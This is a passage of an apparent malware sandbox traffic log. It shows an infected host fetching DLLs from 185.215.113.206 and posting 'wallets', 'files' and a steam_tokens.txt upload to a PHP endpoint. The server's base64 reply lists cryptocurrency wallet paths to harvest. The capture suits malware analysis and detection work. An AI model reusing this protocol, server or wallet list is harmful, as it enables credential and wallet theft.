62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="file"------IDHDGDHJEGHIDGDHCGCB--
Nov 17, 2024 22:20:45.034032106 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 22:20:46.232661963 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 22:20:46.513963938 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 17, 2024 22:20:46.513989925 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]
Nov 17, 2024 22:20:46.514000893 CET	1236	IN	Data Raw: cc cc cc cc 55 89 e5 53 57 56 68 4f 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 Data Ascii: USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$H
Nov 17, 2024 22:20:46.514058113 CET	212	IN	Data Raw: 0c 89 c1 c1 e9 18 89 4c 24 10 c7 44 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 Data Ascii: L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%
Nov 17, 2024 22:20:46.514070034 CET	1236	IN	Data Raw: 0f b6 fb 31 54 24 44 81 e1 00 ff 00 00 09 c1 09 cf 89 7c 24 40 80 7c 24 07 00 74 10 8b 5c 24 28 e9 a7 00 00 00 0f 1f 80 00 00 00 00 8b 44 24 08 80 ec 01 8b 5c 24 28 73 46 8b 44 24 0c 2c 01 89 44 24 0c 73 40 8b 44 24 10 2c 01 89 44 24 10 73 3c 8b Data Ascii: 1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$D$D$D$D$f.DD$HjD$DPjL$HQPt$@m
Nov 17, 2024 22:20:46.514081955 CET	1236	IN	Data Raw: 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 8b 55 d0 89 10 b9 03 e0 ff ff 3b 55 14 8b 5d d4 77 22 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 Data Ascii: )M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}
Nov 17, 2024 22:20:46.514096022 CET	424	IN	Data Raw: 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 Data Ascii: jWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]
Nov 17, 2024 22:20:46.514245987 CET	1236	IN	Data Raw: ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 14 8b 45 10 8b 18 ff 15 00 80 0a 10 53 8b 5d 0c 53 56 ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 18 ff 15 00 80 0a 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 Data Ascii: 7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]Uh
Nov 17, 2024 22:20:46.514259100 CET	1236	IN	Data Raw: 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f Data Ascii: }$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}
Nov 17, 2024 22:20:46.514272928 CET	1236	IN	Data Raw: 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 Data Ascii: tFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU
Nov 17, 2024 22:20:49.632129908 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 22:20:49.913353920 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 17, 2024 22:20:51.534013987 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 22:20:51.814997911 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 17, 2024 22:20:52.558973074 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 22:20:52.840634108 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 17, 2024 22:20:54.689208984 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 22:20:54.970381021 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 17, 2024 22:20:55.247878075 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 22:20:55.532038927 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 17, 2024 22:20:56.744955063 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 22:20:57.526652098 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 22:20:57.610932112 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="message"wallets------BFBGHDGCFHIDBGDGIIIE--
Nov 17, 2024 22:20:57.894421101 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 17, 2024 22:20:57.897349119 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 2d 2d 0d 0a Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="message"files------GIJJKKJJDAAAAAKFHJJD--
Nov 17, 2024 22:20:58.180613041 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 22:20:58.362864971 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 